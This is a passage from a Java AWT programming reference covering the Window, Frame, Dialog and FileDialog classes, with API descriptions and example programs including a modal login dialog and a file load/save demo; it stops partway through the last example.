Figure 6.2 shows a simple Window on the left. Notice that there are no borders or window management adornments present. The Window on the right was created by an applet loaded over the network. Notice the warning message you get in the status bar at the bottom of the screen. This is to warn users that the Window was created by an applet that comes from an untrusted source, and you can't necessarily trust it to do what it says. The warning is particularly appropriate for windows, since a user can't necessarily tell whether a window was created by an applet or any other application. It is therefore possible to write applets that mimic windows from well-known applications, to trick the user into giving away passwords, credit card numbers, or other sensitive information.

Figure 6.2: Two windows

[Graphic: Figure 6-2]

In some environments, you can get the browser's Frame to use with the Window's constructor. This is one way to create a Dialog, as we shall see. By repeatedly calling getParent() until there are no more parents, you can discover an applet's top-level parent, which should be the browser's Frame. Example 6.1 contains the code you would write to do this. You should then check the return value to see if you got a Frame or null. This code is completely nonportable, but you may happen to be in an environment where it works.

Example 6.1: Finding a Parent Frame

import java.awt.*;
public class ComponentUtilities {
    public static Frame getTopLevelParent (Component component) {
        Component c = component;
        while (c.getParent() != null)
            c = c.getParent();
        if (c instanceof Frame)
            return (Frame)c;
        else
            return null;
    }
}
Appearance methods

A handful of methods assist with the appearance of the Window.

public void pack ()

The pack() method resizes the Window to the preferred size of the components it contains and validates the Window.

public void show ()

The show() method displays the Window. When a Window is initially created it is hidden. If the window is already showing when this method is called, it calls toFront() to bring the window to the foreground. To hide the window, just call the hide() method of Component. After you show() a window, it is validated for you.

The first call to show() for any Window generates a WindowEvent with the ID WINDOW_OPENED.

public void dispose ()

The dispose() method releases the resources of the Window by hiding it and removing its peer. Calling this method generates a WindowEvent with the ID WINDOW_CLOSED.

public void toFront ()

The toFront() method brings the Window to the foreground of the display. This is automatically called if you call show() and the Window is already shown.

public void toBack ()

The toBack() method puts the Window in the background of the display.

public boolean isShowing() (New)

The isShowing() method returns true if the Window is visible on the screen.

Miscellaneous methods

public Toolkit getToolkit ()

The getToolkit() method returns the current Toolkit of the window. The Toolkit provides you with information about the native platform. This will allow you to size the Window based upon the current screen resolution and get images for an application. See Building a New Component from a Window for a usage example.

public Locale getLocale () (New)

The getLocale() method retrieves the current Locale of the window, if it has one. Using a Locale allows you to write programs that can adapt themselves to different languages and different regional variants. If no Locale has been set, getLocale() returns the default Locale. The default Locale has a user language of English and no region. To change the default Locale, set the system properties user.language and user.region or call Locale.setDefault() (setDefault() verifies access rights with the security manager).[1]

[1] For more on the Locale class, see the Java Fundamental Classes Reference from O'Reilly & Associates.

public final String getWarningString ()

The getWarningString() method returns null or a string that is displayed on the bottom of insecure Window instances. If the SecurityManager says that top-level windows do not get a warning message, this method returns null. If a message is required, the default text is "Warning: Applet Window". However, Java allows the user to change the warning by setting the system property awt.appletWarning. (Netscape Navigator and Internet Explorer do not allow the warning message to be changed. Netscape Navigator's current (V3.0) warning string is "Unsigned Java Applet Window.") The purpose of this string is to warn users that the Window was created by an untrusted source, as opposed to a standard application, and should be used with caution.

public Component getFocusOwner () (New)

The getFocusOwner() method allows you to ask the Window which of its components currently has the input focus. This is useful if you are cutting and pasting from the system clipboard; asking who has the input focus tells you where to put the data you get from the clipboard. The system clipboard is covered in Chapter 16, Data Transfer. If no component in the Window has the focus, getFocusOwner() returns null.

public synchronized void addNotify ()

The addNotify() method creates the Window peer. This is automatically done when you call the show() method of the Window. If you override this method, first call super.addNotify(), then add your customizations for the new class. Then you can do everything you need to with the information about the newly created peer.

Window Events

In Java 1.0, a Window peer generates all the events that are generated by the Component class; it does not generate events that are specific to a particular type of component. That is, it generates key events, mouse events, and focus events; it doesn't generate action events or list events. If an event occurs within a child component of a Window, the target of the event is the child component, not the Window.

In addition to the Component events, five events are specific to windows, none of which are passed on by the window's peer. These events happen at the Frame and Dialog level. The events are WINDOW_DESTROY, WINDOW_EXPOSE, WINDOW_ICONIFY, WINDOW_DEICONIFY, and WINDOW_MOVED. The default event handler, handleEvent(), doesn't call a convenience method to handle any of these events. If you want to work with them, you must override handleEvent(). See Frame Events for an example that catches the WINDOW_DESTROY event.

public boolean postEvent (Event e) (Deprecated)

The postEvent() method tells the Window to deal with Event e. It calls the handleEvent() method, which returns true if somebody handled e and false if no one handles it. This method, which overrides Component.postEvent(), is necessary because a Window is, by definition, an outermost container, and therefore does not need to post the event to its parent.

Listeners and 1.1 event handling

With the 1.1 event model, you register listeners for different event types; the listeners are told when the event happens. These methods register listeners and let the Window component inspect its own events.

public void addWindowListener(WindowListener listener) (New)

The addWindowListener() method registers listener as an object interested in being notified when an WindowEvent passes through the EventQueue with this Window as its target. When such an event occurs, one of the methods in the WindowListener interface is called. Multiple listeners can be registered.

public void removeWindowListener(WindowListener listener) (New)

The removeWindowListener() method removes listener as an interested listener. If listener is not registered, nothing happens.

protected void processEvent(AWTEvent e) (New)

The processEvent() method receives every AWTEvent with this Window as its target. processEvent() then passes them along to any listeners for processing. When you subclass Window, overriding processEvent() allows you to process all events yourself, before sending them to any listeners. In a way, overriding processEvent() is like overriding handleEvent() using the 1.0 event model.

If you override processEvent(), remember to call super.processEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() (inherited from Component) to ensure that events are delivered even in the absence of registered listeners.

protected void processWindowEvent(WindowEvent e) (New)

The processWindowEvent() method receives every WindowEvent with this Window as its target. processWindowEvent() then passes them along to any listeners for processing. When you subclass Window, overriding processWindowEvent() allows you to process all events yourself, before sending them to any listeners. In a way, overriding processWindowEvent() is like overriding handleEvent() using the 1.0 event model.

If you override processWindowEvent(), you must remember to call super.processWindowEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() (inherited from Component) to ensure that events are delivered even in the absence of registered listeners.

Previous | Home | Next
Insets | Book Index | Frames
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.5 Frames

Previous Chapter 6
Containers 		Next

6.5 Frames

The Frame is a special type of Window that looks like other high level programs in your windowing environment. It adds a MenuBar, window title, and window gadgets (like resize, maximize, minimize, window menu) to the basic Window object. All the menu-related pieces are discussed in Chapter 10, Would You Like to Choose from the Menu?

The default layout manager for a Frame is BorderLayout.

Frame Constants

The Frame class includes a number of constants used to specify cursors. These constants are left over from Java 1.0 and maintained for compatibility. In Java 1.1, you should use the new Cursor class, introduced in the previous chapter, and the Component.setCursor() method to change the cursor over a frame. Avoid using the Frame constants for new code. To see these cursors, refer to Figure 5.6.

public final static int DEFAULT_CURSOR
public final static int CROSSHAIR_CURSOR
public final static int TEXT_CURSOR
public final static int WAIT_CURSOR
public final static int SW_RESIZE_CURSOR
public final static int SE_RESIZE_CURSOR
public final static int NW_RESIZE_CURSOR
public final static int NE_RESIZE_CURSOR
public final static int N_RESIZE_CURSOR
public final static int S_RESIZE_CURSOR
public final static int W_RESIZE_CURSOR
public final static int E_RESIZE_CURSOR
public final static int HAND_CURSOR
public final static int MOVE_CURSOR

NOTE:

HAND_CURSOR and MOVE_CURSOR are not available on Windows platforms with Java 1.0. If you ask to use these and they are not available, you get DEFAULT_CURSOR.

Frame Constructors

public Frame ()

The constructor for Frame creates a hidden window with a window title of "Untitled" ( Java1.0) or an empty string ( Java1.1). Like Window, the default LayoutManager of a Frame is BorderLayout. DEFAULT_CURSOR is the initial cursor. To position the Frame on the screen, call Component.move(). Since the Frame is initially hidden, you need to call the show() method before the user sees the Frame.

public Frame (String title)

This version of Frame's constructor is identical to the first but sets the window title to title. Figure 6.3 shows the results of a call to new Frame("My Frame") followed by resize() and show().

Figure 6.3: A typical Frame

[Graphic: Figure 6-3]

Frame Methods

public String getTitle ()

The getTitle() method returns the current title for the Frame. If there is no title, this method returns null.

public void setTitle (String title)

The setTitle() method changes the Frame's title to title.

public Image getIconImage ()

The getIconImage() method returns the image used as the icon. Initially, this returns null. For some platforms, the method should not be used because the platform does not support the concept.

public void setIconImage (Image image)

The setIconImage() method changes the image to display when the Frame is iconified to image. Not all platforms utilize this resource.

public MenuBar getMenuBar ()

The getMenuBar() method retrieves the Frame's current menu bar.

public synchronized void setMenuBar (MenuBar bar)

The setMenuBar() method changes the menu bar of the Frame to bar. If bar is null, it removes the menu bar so that none is available. It is possible to have multiple menu bars based upon the context of the application. However, the same menu bar cannot appear on multiple frames and only one can appear at a time. The MenuBar class, and everything to do with menus, is covered in Chapter 10, Would You Like to Choose from the Menu?.

public synchronized void remove (MenuComponent component)

The remove() method removes component from Frame if component is the frame's menu bar. This is equivalent to calling setMenuBar() with a parameter of null and in actuality is what remove() calls.

public synchronized void dispose ()

The dispose() method frees up the system resources used by the Frame. If any Dialogs or Windows are associated with this Frame, their resources are freed, too. Some people like to call Component.hide() before calling the dispose() method so users do not see the frame decomposing.

public boolean isResizable ()

The isResizable() method will tell you if the current Frame is resizable.

public void setResizable (boolean resizable)

The setResizable() method changes the resize state of the Frame. A resizable value of true means the user can resize the Frame, false means the user cannot. This must be set before the Frame is shown or the peer created.

public void setCursor (int cursorType)

The setCursor() method changes the cursor of the Frame to cursorType. cursorType must be one of the cursor constants provided with the Frame class. You cannot create your own cursor image yet. When changing from the DEFAULT_CURSOR to another cursor, the mouse must be moved for the cursor icon to change to the new cursor. If cursorType is not one of the predefined cursor types, setCursor() throws the IllegalArgumentException run-time exception.

This method has been replaced by the Component.setCursor() method. Both function equivalently, but this method is being phased out.

public int getCursorType ()

The getCursorType() method retrieves the current cursor.

This method has been replaced by the Component.getCursor() method. Both function equivalently, but this method is being phased out.

Miscellaneous methods

public synchronized void addNotify ()

The addNotify() method creates the Frame peer. This is automatically done when you call the show() method of the Frame. If you override this method, first call super.addNotify(), then add your customizations for the new class. Then you can do everything you need to do with the information about the newly created peer.

protected String paramString ()

When you call the toString() method of Frame, the default toString() method of Component is called. This in turn calls paramString(), which builds up the string to display. At the Frame level, paramString() appends resizable (if true) and the title (if present). Using the default Frame constructor, the results would be:

java.awt.Frame[0,0,0x0,invalid,hidden,layout=java.awt.BorderLayout,
resizable,title=]

Until the Frame is shown, via show(), the position and size are not known and therefore appear as zeros. After showing the Frame, you might see:

java.awt.Frame[44,44,300x300,layout=java.awt.BorderLayout,
resizable,title=]

Frame Events

In Java 1.0, a Frame peer generates all the events that are generated by the Component class; it does not generate events that are specific to a particular type of component. That is, it generates key events, mouse events, and focus events; it doesn't generate action events or list events. If an event happens within a child component of a Frame, the target of the event is the child component, not the Frame.Window

In addition to the Component events, Frame generates the WINDOW events. These events are WINDOW_DESTROY, WINDOW_EXPOSE, WINDOW_ICONIFY, WINDOW_DEICONIFY, and WINDOW_MOVED.

One common event, WINDOW_DESTROY, is generated when the user tries to close the Frame by selecting Quit, Close, or Exit (depending on your windowing environment) from the window manager's menu. By default, this event does nothing. You must provide an event handler that explicitly closes the Frame. If you do not, your Frame will close only when the Java Virtual Machine exits--for example, when you quit Netscape Navigator. The handleEvent() method in the following example, or one like it, should therefore be included in all classes that extend Frame. If a WINDOW_DESTROY event occurs, it gets rid of the Frame and exits the program. Make sure your method calls super.handleEvent() to process the other events.

public boolean handleEvent (Event e) {
    if (e.id == Event.WINDOW_DESTROY) {
        hide();
        dispose();
        System.exit(0);
        return true;          // boolean method, must return something
    } else {
                              // handle other events we find interesting
    }
                              // make sure normal event processing happens
    return super.handleEvent (e);
}
Listeners and 1.1 event handling

With the 1.1 event model, you register listeners for different event types; the listeners are told when the event happens. The Frame class inherits all its listener handling from Window.

Here's the Java 1.1 code necessary to handle WINDOW_CLOSING events; it is equivalent to the handleEvent() method in the previous example. First, you must add the following line to the Frame's constructor:

enableEvents (AWTEvent.WINDOW_EVENT_MASK);

This line guarantees that we will receive window events, even if there is no listener. The processWindowEvent() method in the following code does the actual work of closing things down:

// Java 1.1 only
protected void processWindowEvent(WindowEvent e) {
    if (e.getID() == WindowEvent.WINDOW_CLOSING) {
        // Notify others we are closing
        if (windowListener != null)
            windowListener.windowClosing(e);
        System.exit(0);
    } else {
        super.processEvent(e);
    }
}

If you forget to enable events, processWindowEvent() may never be called, and your windows will not shut down until the Java Virtual Machine exits. All subclasses of Frame should include code like this to make sure they terminate gracefully.

Building a New Component from a Window

Now that we have discussed the Frame and Window objects, we can briefly investigate some ways to use them together. Previously I said that you can use a Window to build your own pop-up menu. That's no longer necessary in Java 1.1, but the same techniques apply to plenty of other objects. In the following example, we build a set of pop-up buttons; it also uses the Toolkit of a Frame to load images within an application. The pop-up button set appears when the user presses the right mouse button over the image. It is positioned at the coordinates of the mouseDown() event; to do so, we add the current location() of the Frame to the mouse's x and y coordinates. Figure 6.4 shows what this application looks like when the pop-up button set is on the screen.

import java.awt.*;
public class PopupButtonFrame extends Frame {
    Image im;
    Window w = new PopupWindow (this);
    PopupButtonFrame () {
        super ("PopupButton Example");
        resize (250, 100);
        show();
        im = getToolkit().getImage ("rosey.jpg");
        MediaTracker mt = new MediaTracker (this);
        mt.addImage (im, 0);
        try {
            mt.waitForAll();
        } catch (Exception e) {e.printStackTrace(); }
    }
    public static void main (String args[]) {
        Frame f = new PopupMenuFrame ();
    }
    public void paint (Graphics g) {
        if (im != null)
            g.drawImage (im, 20, 20, this);
    }
    public boolean mouseDown (Event e, int x, int y) {
        if (e.modifiers == Event.META_MASK) {
            w.move (location().x+x, location().y+y);
            w.show();
            return true;
        }
        return false;
    }
}
class PopupWindow extends Window {
    PopupWindow (Frame f) {
        super (f);
        Panel p = new Panel ();
        p.add (new Button ("About"));
        p.add (new Button ("Save"));
        p.add (new Button ("Quit"));
        add ("North", p);
        setBackground (Color.gray);
        pack();
    }
    public boolean action (Event e, Object o) {
        if ("About".equals (o))
            System.out.println ("About");
        else if ("Save".equals (o))
            System.out.println ("Save Me");
        else if ("Quit".equals (o))
            System.exit (0);
        hide();
        return true;
    }
}

Figure 6.4: Pop-up buttons

[Graphic: Figure 6-4]

The most interesting method in this application is mouseDown(). When the user clicks on the mouse, mouseDown() checks whether the META_MASK is set in the event modifiers; this indicates that the user pressed the right mouse button, or pressed the left button while pressing the Meta key. If this is true, mouseDown() moves the window to the location of the mouse click, calls show() to display the window, and returns true to indicate that the event was handled completely. If mouseDown were called with any other kind of mouse event, we return false to let the event propagate to any other object that might be interested. Remember that the coordinates passed with the mouse event are the coordinates of the mouse click relative to the Frame; to find out where to position the pop-up window, we need an absolute location and therefore ask the Frame for its location.

PopupWindow itself is a simple class. Its constructor simply creates a display with three buttons. The call to pack() sizes the window so that it provides a nice border around the buttons but isn't excessively large; you can change the border by playing with the window's insets if you want, but that usually isn't necessary. The class PopupWindow has an action() method that is called when the user clicks one of the buttons. When the user clicks on a button, action() prints a message and hides the window.

Previous | Home | Next
Window | Book Index | Dialogs
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.6 Dialogs

Previous Chapter 6
Containers 		Next

6.6 Dialogs

The Dialog class provides a special type of display window that is normally used for pop-up messages or input from the user. It should be associated with a Frame (a required parameter for the constructor), and whenever anything happens to this Frame, the same thing will happen to the Dialog. For instance, if the parent Frame is iconified, the Dialog disappears until the Frame is de-iconified. If the Frame is destroyed, so are all the associated dialogs. Figure 6.5 and Figure 6.6 show typical dialog boxes.

In addition to being associated with a Frame, Dialog is either modeless or modal. A modeless Dialog means a user can interact with both the Frame and the Dialog at the same time. A modal Dialog is one that blocks input to the remainder of the application, including the Frame, until the Dialog box is acted upon. Note that the parent Frame is still executing; unlike some windowing systems, Java does not suspend the entire application for a modal Dialog. Normally, blocking access would be done to get input from the user or to show a warning message. Example 6.2 shows how to create and use a modal Dialog box, as we will see later in the chapter.

Since Dialog subclasses Window, its default LayoutManager is BorderLayout.

In applets, when you create a Dialog, you need to provide a reference to the browser's Frame, not the applet. In order to get this, you can try to go up the container hierarchy of the Applet with getParent() until it returns null. (You cannot specify a null parent as you can with a Window.) See Example 6.1 for a utility method to do this. Simple include a line like the following in your applet:

Frame top = ComponentUtilities.getTopLevelParent (this);

Then pass top to the Dialog constructor. Another alternative is to create a new Frame to associate with your dialog.

Dialog Constructors and Methods

Constructors

If any constructor is passed a null parent, the constructor throws the run-time exception IllegalArgumentException.

public Dialog (Frame parent) (New)

This constructor creates an instance of Dialog with no title and with parent as the Frame owning it. It is not modal and is initially resizable.

public Dialog (Frame parent, boolean modal) (Deprecated)

This constructor creates an instance of Dialog with no title and with parent as the Frame owning it. If modal is true, the Dialog grabs all the user input of the program until it is closed. If modal is false, there is no special behavior associated with the Dialog. Initially, the Dialog will be resizable. This constructor is comment-flagged as deprecated.

public Dialog (Frame parent, String title) (New)

This version of the constructor creates an instance of Dialog with parent as the Frame owning it and a window title of title. It is not modal and is initially resizable.

public Dialog (Frame parent, String title, boolean modal)

This version of the constructor creates an instance of Dialog with parent as the Frame owning it and a window title of title. If mode is true, the Dialog grabs all the user input of the program until it is closed. If modal is false, there is no special behavior associated with the Dialog. Initially, the Dialog will be resizable.

NOTE:

In some 1.0 versions of Java, modal dialogs were not supported properly. You needed to create some multithreaded contraption that simulated modality. Modal dialogs work properly in 1.1.

Figure 6.5: A Dialog in an application or local applet

[Graphic: Figure 6-5]

Figure 6.6: The same Dialog in an applet that came across the network

[Graphic: Figure 6-6]

Appearance methods

public String getTitle ()

The getTitle() method returns the current title for the Dialog. If there is no title for the Dialog, getTitle() returns null.

public void setTitle (String title)

The setTitle() method changes the current title of the Dialog to title. To turn off any title for the Dialog, use null for title.

public boolean isResizable ()

The isResizable() method tells you if the current Dialog is resizable.

public void setResizable (boolean resizable)

The setResizable() method changes the resize state of the Dialog. A resizable value of true means the user can resize the Dialog, while false means the user cannot. This must be set before the Dialog is shown or the peer created.

Modal methods

public boolean isModal ()

The isModal() method returns the current mode of the Dialog. true indicates the dialog traps all user input.

public void setModal (boolean mode) (New)

The setModal() method changes the current mode of the Dialog to mode. The next time the dialog is displayed via show(), it will be modal. If the dialog is currently displayed, setModal() has no immediate effect. The change will take place the next time show() is called.

public void show () (New)

The show() method brings the Dialog to the front and displays it. If the dialog is modal, show() takes care of blocking events so that they don't reach the parent Frame.

Miscellaneous methods

public synchronized void addNotify ()

The addNotify() method creates the Dialog peer. The peer is created automatically when you call the dialog's show() method. If you override the method addNotify(), first call super.addNotify(), then add your customizations for the new class. You will then be able to do everything you need with the information about the newly created peer.

protected String paramString ()

When you call the toString() method of Dialog, the default toString() method of Component is called. This in turn calls paramString() which builds up the string to display. At the Dialog level, paramString() appends the current mode (modal/modeless) and title (if present). Using the constructor Dialog (top, `Help`, true), the results would be as follows:

java.awt.Dialog[0,0,0x0,invalid,hidden,layout=java.awt.BorderLayout,
    modal,title=Help]

Dialog Events

In Java 1.0, a Dialog peer generates all the events that are generated by the Component class; it does not generate events that are specific to a particular type of component. That is, it generates key events, mouse events, and focus events; it doesn't generate action events or list events. If an event happens within a child component of a Dialog, the target of the event is the child component, not the Dialog.Window

In addition to the Component events, Dialog generates the WINDOW events. These events are WINDOW_DESTROY, WINDOW_EXPOSE, WINDOW_ICONIFY, WINDOW_DEICONIFY, and WINDOW_MOVED. Listeners and 1.1 event handling

With the 1.1 event model, you register listeners for different event types; the listeners are told when the event happens. The Dialog class inherits all its listener handling from Window.

Dialog Example

Example 6.2 demonstrates how a modal Dialog tries to work in Java 1.0. In some windowing systems, "modal" means that the calling application, and sometimes the entire system stops, and input to anything other than the Dialog is blocked. With Java 1.0, a modal Dialog acts only on the parent frame and simply prevents it from getting screen-oriented input by disabling all components within the frame. The Java program as a whole continues to execute.

Example 6.2 displays a Dialog window with username and password fields, and an Okay button. When the user selects the Okay button, a realistic application would validate the username and password; in this case, they are just displayed on a Frame. Since the Frame must wait for the Dialog to finish before looking at the values of the two fields, the Dialog must tell the Frame when it can look. This is done through a custom interface implemented by the parent Frame and invoked by the Dialog in its action method.

Figure 6.7 is the initial Dialog; Figure 6.8 shows the result after you click Okay. Example 6.2 contains the source code.

Figure 6.7: Username and password Dialog

[Graphic: Figure 6-7]

Notice the use of the newly created DialogHandler interface when the user selects the Okay button. Also, see how the pre- and post-event-handling methods are separated. All the pre-event processing takes place before the Dialog is shown. The post-event processing is called by the Dialog through the new DialogHandler interface method, dialogDoer(). The interface provides a common method name for all your Dialog boxes to call.

Figure 6.8: Resulting Frame

[Graphic: Figure 6-8]

Example 6.2: Modal Dialog Usage

import java.awt.*;
interface DialogHandler {
    void dialogDoer (Object o);
}
class modeTest extends Dialog {
    TextField user;
    TextField pass;
    modeTest (DialogHandler parent) {
        super ((Frame)parent, "Mode Test", true);
        add ("North", new Label ("Please enter username/password"));
        Panel left = new Panel ();
        left.setLayout (new BorderLayout ());
        left.add ("North", new Label ("Username"));
        left.add ("South", new Label ("Password"));
        add ("West", left);
        Panel right = new Panel ();
        right.setLayout (new BorderLayout ());
        user = new TextField (15);
        pass = new TextField (15);
        pass.setEchoCharacter ('*');
        right.add ("North", user);
        right.add ("South", pass);
        add ("East", right);
        add ("South", new Button ("Okay"));
        resize (250, 125);
    }
    public boolean handleEvent (Event e) {
        if (e.id == Event.WINDOW_DESTROY) {
            dispose();
            return true;
        } else if ((e.target instanceof Button) &&
             (e.id == Event.ACTION_EVENT)) {
            ((DialogHandler)getParent ()).dialogDoer(e.arg);
        }
        return super.handleEvent (e);
    }
}
public class modeFrame extends Frame implements DialogHandler {
    modeTest d;
    modeFrame (String s) {
        super (s);
        resize (100, 100);
        d = new modeTest (this);
        d.show ();
    }
    public static void main (String []args) {
        Frame f = new modeFrame ("Frame");
    }
    public boolean handleEvent (Event e) {
        if (e.id == Event.WINDOW_DESTROY) {
            hide();
            dispose();
            System.exit (0);
        }
        return super.handleEvent (e);
    }
    public void dialogDoer(Object o) {
        d.dispose();
        add ("North", new Label (d.user.getText()));
        add ("South", new Label (d.pass.getText()));
        show ();
    }
}

Since the Java 1.1 modal Dialog blocks the calling Frame appropriately, the overhead of the DialogHandler interface is not necessary and all the work can be combined into the main() method, as shown in the following:

// only reliable in Java 1.1
import java.awt.*;
class modeTest11 extends Dialog {
    TextField user;
    TextField pass;
    modeTest11 (Frame parent) {
        super (parent, "Mode Test", true);
        add ("North", new Label ("Please enter username/password"));
        Panel left = new Panel ();
        left.setLayout (new BorderLayout ());
        left.add ("North", new Label ("Username"));
        left.add ("South", new Label ("Password"));
        add ("West", left);
        Panel right = new Panel ();
        right.setLayout (new BorderLayout ());
        user = new TextField (15);
        pass = new TextField (15);
        pass.setEchoCharacter ('*');
        right.add ("North", user);
        right.add ("South", pass);
        add ("East", right);
        add ("South", new Button ("Okay"));
        resize (250, 125);
    }
    public boolean handleEvent (Event e) {
        if (e.id == Event.WINDOW_DESTROY) {
            dispose();
            return true;
        } else if ((e.target instanceof Button) &&
             (e.id == Event.ACTION_EVENT)) {
            hide();
        }
        return super.handleEvent (e);
    }
}
public class modeFrame11 extends Frame {
    modeFrame11 (String s) {
        super (s);
        resize (100, 100);
    }
    public static void main (String []args) {
        Frame f = new modeFrame11 ("Frame");
        modeTest11 d;
        d = new modeTest11 (f);
        d.show ();
        d.dispose();
        f.add ("North", new Label (d.user.getText()));
        f.add ("South", new Label (d.pass.getText()));
        f.show ();
    }
    public boolean handleEvent (Event e) {
        if (e.id == Event.WINDOW_DESTROY) {
            hide();
            dispose();
            System.exit (0);
        }
        return super.handleEvent (e);
    }
}

The remainder of the code is virtually identical. The most significant difference is that the dialog's handleEvent()method just hides the dialog, rather than calling DialogHandler.dialogDoer().

Previous | Home | Next
Frames | Book Index | FileDialog
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.7 FileDialog

Previous Chapter 6
Containers 		Next

6.7 FileDialog

FileDialog is a subclass of Dialog that lets the user select files for opening or saving. You must load or save any files yourself. If used in an application or appletviewer, the FileDialog always looks like the local system's file dialog. The FileDialog is always a modal Dialog, meaning that the calling program is blocked from continuing (and cannot accept input) until the user responds to the FileDialog. Figure 6.9 shows the FileDialog component in Motif, Windows NT/95, and the Macintosh.

Unlike the other Window subclasses, there is no LayoutManager for FileDialog, since you are creating the environment's actual file dialog. This means you cannot subclass FileDialog to alter its behavior or appearance. However, the class is not "final."

NOTE:

Netscape Navigator throws an AWTError when you try to create a FileDialog because Navigator does not permit local file system access.

FileDialog Methods

Constants

A FileDialog has two modes: one for loading a file (input) and one for saving (output). The following variables provide the mode to the constructor. The FileDialog functions the same way in both modes. The only visible difference is whether a button on the screen is labeled Load or Save. You must load or save the requested file yourself. On certain platforms there may be functional differences: in SAVE mode, the FileDialog may ask if you want to replace a file if it already exists; in LOAD mode, the FileDialog may not accept a filename that does not exist.

public final static int LOAD

LOAD is the constant for load mode. It is the default mode.

public final static int SAVE

SAVE is the constant for save mode.

Constructors

public FileDialog (Frame parent) (New)

The first constructor creates a FileDialog for loading with a parent Frame of parent. The window title is initially empty.

public FileDialog (Frame parent, String title)

This constructor creates a FileDialog for loading with a parent Frame of parent. The window title is title.

public FileDialog (Frame parent, String title, int mode)

The final constructor creates a FileDialog with an initial mode of mode. If mode is neither LOAD nor SAVE, the FileDialog is in SAVE mode.

Figure 6.9: FileDialogs for Motif, Windows NT/95, and the Macintosh

[Graphic: Figure 6-9]

Appearance methods

public String getDirectory ()

getDirectory() returns the current directory for the FileDialog. Normally, you check this when FileDialog returns after a show() and a call to getFile() returns something other than null.

public void setDirectory (String directory)

The setDirectory() method changes the initial directory displayed in the FileDialog to directory. You must call setDirectory() prior to displaying the FileDialog.

public String getFile ()

The getFile() method returns the current file selection from the FileDialog. If the user pressed the Cancel button on the FileDialog, getFile() returns null. This is the only way to determine if the user pressed Cancel.

NOTE:

On some platforms in Java 1.0 getFile() returns a string that ends in .*.* (two periods and two asterisks) if the file does not exist. You need to remove the extra characters before you can create the file.

public void setFile (String file)

The setFile() method changes the default file for the FileDialog to file. Because the FileDialog is modal, this must be done before you call show(). The string may contain a filename filter like *.java to show a preliminary list of files to select. This has nothing to do with the use of the FilenameFilter class.

public FilenameFilter getFilenameFilter ()

The getFilenameFilter() method returns the current FilenameFilter. The FilenameFilter class is part of the java.io package. FilenameFilter is an interface that allows you to restrict choices to certain directory and filename combinations. For example, it can be used to limit the user to selecting .jpg, .gif, and .xbm files. The class implementing FilenameFilter would not return other possibilities as choices.

public void setFilenameFilter (FilenameFilter filter)

The setFilenameFilter() method changes the current filename filter to filter. This needs to be done before you show() the FileDialog.

NOTE:

The JDK does not support the FilenameFilter with FileDialog boxes. FilenameFilter works but can't be used with FileDialog.

Miscellaneous methods

public int getMode ()

The getMode() method returns the current mode of the FileDialog. If an invalid mode was used in the constructor, this method returns an invalid mode here. No error checking is performed.

public void setMode (int mode) (New)

The setMode() method changes the current mode of the FileDialog to mode. If mode is not one of the class constants LOAD or SAVE, setMode() throws the run-time exception IllegalArgumentException.

public synchronized void addNotify ()

The addNotify() method creates the FileDialog peer. This is automatically done when you call the show() method of the FileDialog. If you override this method, first call super.addNotify(), then add your customizations for the new class. Then you can do everything you need with the information about the newly created peer.

protected String paramString ()

When you call the toString() method of FileDialog, the default toString() method of Component is called. This in turn calls paramString(), which builds up the string to display. At the FileDialog level, paramString() appends the directory (if not null) and current mode to the return value. Using the constructor FileDialog(top, `Load Me`), the results would be as follows:

java.awt.FileDialog[0,0,0x0,invalid,hidden,modal,title=Load Me,load]

A FileDialog Example

To get a better grasp of how the FileDialog works, the following application uses a FileDialog to select a file for display in a TextArea. You can also use FileDialog to save the file back to disk. Figure 6.10 shows the application, with a file displayed in the text area; the FileDialog itself looks like any other file dialog on the run-time system. Example 6.3 shows the code.

CAUTION:

This example can overwrite an existing file.

Figure 6.10: FileDialog test program

[Graphic: Figure 6-10]

Example 6.3: Complete FileDialog

import java.awt.*;
import java.io.*;
public class FdTest extends Frame {
    TextArea myTextArea;
    Label myLabel;
    Button loadButton;
    Button saveButton;
    FdTest () {
        super ("File Dialog Tester");
        Panel p = new Panel ();
        p.add (loadButton = new Button ("Load"));
        p.add (saveButton = new Button ("Save"));
        add ("North", myLabel = new Label ());
        add ("South", p);
        add ("Center", myTextArea = new TextArea (10, 40));
        Menu m = new Menu ("File");
        m.add (new MenuItem ("Quit"));
        MenuBar mb = new MenuBar();
        mb.add (m);
        setMenuBar (mb);
        pack();
    }
    public static void main (String args[]) {
        FdTest f = new FdTest();
            f.show();
    }
    public boolean handleEvent (Event e) {
        if (e.id == Event.WINDOW_DESTROY) {
            hide();
            dispose ();
            System.exit(0);
            return true;  // never gets here
        }
        return super.handleEvent (e);
    }
    public boolean action (Event e, Object o) {
        if (e.target instanceof MenuItem) {
            hide();
            dispose ();
            System.exit(0);
            return true;  // never gets here
        } else if (e.target instanceof Button) {
            int state;
            String msg;
            if (e.target == loadButton) {
                state = FileDialog.LOAD;
                msg = "Load File";
            } else {// if (e.target == saveButton)
                state = FileDialog.SAVE;
                msg = "Save File";
            }
            FileDialog file = new FileDialog (this, msg, state);
            file.setFile ("*.java");  // set initial filename filter
            file.show(); // Blocks
            String curFile;
            if ((curFile = file.getFile()) != null) {
                String filename = file.getDirectory() + curFile;
                // curFile ends in .*.* if file does not exist
                byte[] data;
                setCursor (Frame.WAIT_CURSOR);
                if (state == FileDialog.LOAD) {
                    File f = new File (filename);
                    try {
                        FileInputStream fin = new FileInputStream (f);
                        int filesize = (int)f.length();
                        data = new byte[filesize];
                        fin.read (data, 0, filesize);
                    } catch (FileNotFoundException exc) {
                        String errorString = "File Not Found: " + filename;
                        data = new byte[errorString.length()];
                        errorString.getBytes (0, errorString.length(), data, 0);
                    } catch (IOException exc) {
                        String errorString = "IOException: " + filename;
                        data = new byte[errorString.length()];
                        errorString.getBytes (0, errorString.length(), data, 0);
                    }
                    myLabel.setText ("Load: " + filename);
                } else {
// Remove trailing ".*.*" if present - signifies file does not exist
                    if (filename.indexOf (".*.*") != -1) {
                        filename = filename.substring (0, filename.length()-4);
                    }
                    File f = new File (filename);
                    try {
                        FileOutputStream fon = new FileOutputStream (f);
                        String text = myTextArea.getText();
                        int textsize = text.length();
                        data = new byte[textsize];
